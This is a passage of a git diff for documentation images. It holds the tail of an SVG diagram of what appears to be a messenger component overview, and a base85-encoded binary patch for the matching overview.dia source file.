8.078-5.47c-.375-.375-.73-.61-1.062-.703-.336-.094-.778-.14-1.329-.14H3.5V0H1.61v-14.313h6.327c.864 0 1.586.06 2.172.172.594.106 1.11.336 1.547.688.446.355.785.805 1.016 1.344.238.543.36 1.109.36 1.703 0 1.086-.345 1.953-1.032 2.61-.68.655-1.668 1.073-2.969 1.25v.046c.946.418 1.844 1.29 2.688 2.61ZM3.5-8.016h4.063c.82 0 1.468-.066 1.937-.203a2.09 2.09 0 0 0 1.14-.828c.29-.406.438-.86.438-1.36 0-.644-.242-1.195-.719-1.655-.468-.458-1.25-.688-2.343-.688H3.5Zm0 0" style="stroke:none"/></symbol><symbol id="r" overflow="visible"><path d="M9.828-3.578c-.23 1.312-.75 2.281-1.562 2.906A4.45 4.45 0 0 1 5.5.25C4 .25 2.836-.242 2.016-1.234 1.19-2.223.78-3.531.78-5.156c0-1.344.235-2.422.703-3.235.477-.812 1.07-1.379 1.782-1.703a5.2 5.2 0 0 1 2.234-.5c1.063 0 1.973.278 2.734.828.758.555 1.227 1.368 1.407 2.438l-1.704.266c-.18-.696-.464-1.22-.859-1.563-.387-.352-.887-.531-1.5-.531-.98 0-1.726.351-2.234 1.047-.512.687-.766 1.656-.766 2.906 0 1.281.25 2.273.75 2.969.5.687 1.219 1.03 2.156 1.03.75 0 1.336-.21 1.766-.64.438-.437.71-1.086.828-1.953Zm0 0" style="stroke:none"/></symbol><symbol id="s" overflow="visible"><path d="M3.094 0h-1.75v-10.36h1.75Zm0-12.328h-1.75v-1.985h1.75Zm0 0" style="stroke:none"/></symbol><symbol id="t" overflow="visible"><path d="M13.36 0h-2.141L9.547-4.36H3.562L1.984 0h-2l5.5-14.313h2.032ZM8.968-5.86c-1.18-3.1-1.84-4.863-1.985-5.28a21.682 21.682 0 0 1-.5-1.688h-.046a17.446 17.446 0 0 1-.735 2.687L4.11-5.859Zm0 0" style="stroke:none"/></symbol><symbol id="u" overflow="visible"><path d="M5.375-.016c-.523.102-.96.157-1.313.157-.773 0-1.335-.137-1.687-.407a1.69 1.69 0 0 1-.64-1.03c-.075-.415-.11-.993-.11-1.735V-9H.344v-1.36h1.281v-2.578L3.375-14v3.64h1.766V-9H3.375v6.063c0 .523.05.89.156 1.109.114.219.39.328.828.328.25 0 .508-.023.782-.078Zm0 0" style="stroke:none"/></symbol><symbol id="v" overflow="visible"><path d="M10.094 0H.609c0-.813.282-1.629.844-2.453.57-.82 1.629-1.86 3.172-3.11.938-.75 1.773-1.539 2.516-2.375.75-.832 1.125-1.664 1.125-2.5 0-.726-.258-1.328-.766-1.796-.512-.47-1.156-.704-1.938-.704-.792 0-1.453.247-1.984.735-.531.48-.805 1.2-.812 2.156L.953-10.25c.113-1.332.594-2.352 1.438-3.063.843-.718 1.91-1.078 3.203-1.078 1.406 0 2.5.391 3.281 1.172.79.781 1.188 1.719 1.188 2.813 0 .918-.336 1.851-1 2.797-.657.937-1.97 2.195-3.938 3.765-1.043.836-1.73 1.547-2.063 2.14h7.032Zm0 0" style="stroke:none"/></symbol></defs><path d="M0 0h642v542H0z" style="fill:#fff;fill-opacity:1;stroke:none"/><path d="M26 21h32v27H26Zm0 0" style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M65.57 221h83.239v63.707H65.57ZM65.57 227v-6c-3.312 0-6 2.688-6 6ZM148.809 227h6c0-3.313-2.684-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M59.57 227h95.239v51.707H59.57ZM65.57 278.707h-6c0 3.313 2.688 6 6 6ZM148.809 278.707v6c3.316 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M29.229 32h4.161M29.229 35.185h4.161M29.229 32a.3.3 0 0 0-.3.3M33.69 32.3a.3.3 0 0 0-.3-.3M28.929 32.3v2.585M33.69 32.3v2.585M28.929 34.885a.3.3 0 0 0 .3.3M33.39 35.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="74.926" y="261.852"/><use xlink:href="#b" x="88.266" y="261.852"/><use xlink:href="#c" x="99.398" y="261.852"/><use xlink:href="#d" x="110.531" y="261.852"/><use xlink:href="#b" x="121.664" y="261.852"/><use xlink:href="#e" x="132.797" y="261.852"/></g><path d="M207 221h228v63.707H207ZM207 227v-6c-3.313 0-6 2.688-6 6ZM435 227h6c0-3.313-2.688-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M201 227h240v51.707H201ZM207 278.707h-6c0 3.313 2.688 6 6 6ZM435 278.707v6c3.313 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M36.3 32h11.4M36.3 35.185h11.4M36.3 32a.3.3 0 0 0-.3.3M48 32.3a.3.3 0 0 0-.3-.3M36 32.3v2.585M48 32.3v2.585M36 34.885a.3.3 0 0 0 .3.3M47.7 35.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#f" x="303.773" y="261.852"/><use xlink:href="#g" x="317.113" y="261.852"/><use xlink:href="#h" x="328.246" y="261.852"/></g><path d="M169.555 441h123.238v63.707H169.555ZM169.555 447v-6c-3.313 0-6 2.688-6 6ZM292.793 447h6c0-3.313-2.688-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M163.555 447h135.238v51.707H163.555ZM169.555 498.707h-6c0 3.313 2.687 6 6 6ZM292.793 498.707v6c3.312 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M34.428 43h6.162M34.428 46.185h6.162M34.428 43a.3.3 0 0 0-.3.3M40.89 43.3a.3.3 0 0 0-.3-.3M34.128 43.3v2.585M40.89 43.3v2.585M34.128 45.885a.3.3 0 0 0 .3.3M40.59 46.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#i" x="196.133" y="481.852"/><use xlink:href="#j" x="210.586" y="481.852"/><use xlink:href="#c" x="221.719" y="481.852"/><use xlink:href="#d" x="232.852" y="481.852"/><use xlink:href="#k" x="243.984" y="481.852"/><use xlink:href="#b" x="248.438" y="481.852"/><use xlink:href="#e" x="259.57" y="481.852"/></g><path d="M31.31 29.793v1.657" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m31.06 31.45.25.5.25-.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M33.69 33.593h1.76" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m35.45 33.843.5-.25-.5-.25Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M48 33.593h2.45" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m50.45 33.843.5-.25-.5-.25Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M32.31 23.854a1 1 0 1 1-2 0 1 1 0 0 1 2 0" style="fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M28.674 27.15h5.27v2.589c-1.054-.432-1.58-.432-2.634 0-1.055.431-1.581.431-2.636 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="58.227" y="154.457"/><use xlink:href="#c" x="69.359" y="154.457"/><use xlink:href="#l" x="80.492" y="154.457"/><use xlink:href="#b" x="90.492" y="154.457"/><use xlink:href="#k" x="101.625" y="154.457"/><use xlink:href="#m" x="106.078" y="154.457"/><use xlink:href="#n" x="117.211" y="154.457"/><use xlink:href="#b" x="128.344" y="154.457"/><use xlink:href="#o" x="139.477" y="154.457"/><use xlink:href="#p" x="145.043" y="154.457"/></g><path d="M507 221h83.238v63.707H507ZM507 227v-6c-3.313 0-6 2.688-6 6ZM590.238 227h6c0-3.313-2.687-6-6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M501 227h95.238v51.707H501ZM507 278.707h-6c0 3.313 2.688 6 6 6ZM590.238 278.707v6c3.313 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#fddfbb;fill-opacity:1"/><path d="M51.3 32h4.162M51.3 35.185h4.162M51.3 32a.3.3 0 0 0-.3.3M55.762 32.3a.3.3 0 0 0-.3-.3M51 32.3v2.585M55.762 32.3v2.585M51 34.885a.3.3 0 0 0 .3.3M55.462 35.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#q" x="509.148" y="261.852"/><use xlink:href="#b" x="523.602" y="261.852"/><use xlink:href="#r" x="534.734" y="261.852"/><use xlink:href="#b" x="544.734" y="261.852"/><use xlink:href="#s" x="555.867" y="261.852"/><use xlink:href="#l" x="560.32" y="261.852"/><use xlink:href="#b" x="570.32" y="261.852"/><use xlink:href="#e" x="581.453" y="261.852"/></g><path d="M31.31 24.854V26.6" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m31.06 26.6.25.5.25-.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M346.148 441h123.239v63.707H346.148ZM346.148 447v-6c-3.312 0-6 2.688-6 6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M469.387 447h6c0-3.313-2.688-6-6-6ZM340.148 447h135.239v51.707H340.148ZM346.148 498.707h-6c0 3.313 2.688 6 6 6ZM469.387 498.707v6c3.312 0 6-2.687 6-6Zm0 0" style="stroke:none;fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1"/><path d="M43.257 43h6.162M43.257 46.185h6.162M43.257 43a.3.3 0 0 0-.3.3M49.72 43.3a.3.3 0 0 0-.3-.3M42.957 43.3v2.585M49.72 43.3v2.585M42.957 45.885a.3.3 0 0 0 .3.3M49.42 46.185a.3.3 0 0 0 .3-.3" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#t" x="358.801" y="481.852"/><use xlink:href="#n" x="372.141" y="481.852"/><use xlink:href="#n" x="383.273" y="481.852"/><use xlink:href="#k" x="394.406" y="481.852"/><use xlink:href="#s" x="398.859" y="481.852"/><use xlink:href="#r" x="403.313" y="481.852"/><use xlink:href="#j" x="413.313" y="481.852"/><use xlink:href="#u" x="424.445" y="481.852"/><use xlink:href="#s" x="430.012" y="481.852"/><use xlink:href="#m" x="434.465" y="481.852"/><use xlink:href="#c" x="445.598" y="481.852"/></g><path d="m46.338 43-.017-7.265" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m46.571 35.735-.251-.5-.249.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m37.51 35.185-.001 7.265" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m37.259 42.45.25.5.25-.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M53.398 30.325 53.38 32" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m53.648 30.327-.245-.502-.255.497Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M54.415 23.832a1 1 0 1 1-2 0 1 1 0 0 1 2 0" style="fill-rule:evenodd;fill:#b2d4eb;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M50.78 27.128h5.27v2.589c-1.054-.432-1.581-.432-2.635 0-1.054.431-1.581.431-2.635 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="500.332" y="154.02"/><use xlink:href="#c" x="511.465" y="154.02"/><use xlink:href="#l" x="522.598" y="154.02"/><use xlink:href="#b" x="532.598" y="154.02"/><use xlink:href="#k" x="543.73" y="154.02"/><use xlink:href="#m" x="548.184" y="154.02"/><use xlink:href="#n" x="559.316" y="154.02"/><use xlink:href="#b" x="570.449" y="154.02"/><use xlink:href="#o" x="581.582" y="154.02"/><use xlink:href="#v" x="587.148" y="154.02"/></g><path d="M53.415 25.382v1.746" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="m53.665 25.382-.25-.5-.25.5Zm0 0" style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M27 36.83h30" style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-dasharray:.1,.1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><path d="M34.865 38.213h5.27v2.59c-1.054-.432-1.581-.432-2.635 0-1.054.43-1.581.43-2.635 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="182.035" y="375.723"/><use xlink:href="#c" x="193.168" y="375.723"/><use xlink:href="#l" x="204.301" y="375.723"/><use xlink:href="#b" x="214.301" y="375.723"/><use xlink:href="#k" x="225.434" y="375.723"/><use xlink:href="#m" x="229.887" y="375.723"/><use xlink:href="#n" x="241.02" y="375.723"/><use xlink:href="#b" x="252.152" y="375.723"/><use xlink:href="#o" x="263.285" y="375.723"/><use xlink:href="#p" x="268.852" y="375.723"/></g><path d="M43.652 38.213h5.27v2.59c-1.054-.432-1.581-.432-2.635 0-1.054.43-1.58.43-2.635 0v-2.59" style="fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" transform="matrix(20 0 0 20 -519 -419)"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#b" x="357.777" y="375.723"/><use xlink:href="#c" x="368.91" y="375.723"/><use xlink:href="#l" x="380.043" y="375.723"/><use xlink:href="#b" x="390.043" y="375.723"/><use xlink:href="#k" x="401.176" y="375.723"/><use xlink:href="#m" x="405.629" y="375.723"/><use xlink:href="#n" x="416.762" y="375.723"/><use xlink:href="#b" x="427.895" y="375.723"/><use xlink:href="#o" x="439.027" y="375.723"/><use xlink:href="#v" x="444.594" y="375.723"/></g></svg>
diff --git a/_images/sources/components/messenger/overview.dia b/_images/sources/components/messenger/overview.dia
index 55ee153439eee9f6a420634faaed6a7534132513..b0e2edaeab2e20e690671abb731617453fa0c75e 100644
GIT binary patch
literal 2363
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

literal 2348
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
